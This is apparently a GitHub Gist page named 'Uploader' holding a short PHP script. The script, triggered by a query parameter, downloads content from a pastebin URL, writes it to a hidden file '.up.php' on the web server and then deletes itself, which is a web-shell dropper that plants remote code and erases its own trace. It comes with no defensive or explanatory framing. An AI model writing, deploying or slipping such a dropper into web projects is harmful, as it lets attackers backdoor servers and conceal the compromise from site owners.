Last active
November 17, 2016 12:19
-
-
Save mranarshit/651eda2b8166427abbb6 to your computer and use it in GitHub Desktop.
Uploader
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
if ($_GET['cmd']=="up") | |
{ | |
echo "OK"; | |
$path = $_SERVER["DOCUMENT_ROOT"]; | |
$c=file_get_contents("http://pastebin.com/XVhLHWye"); | |
$fh = fopen(".up.php", 'w') ; | |
fwrite($fh,$c) ; | |
unlink(__FILE__); | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment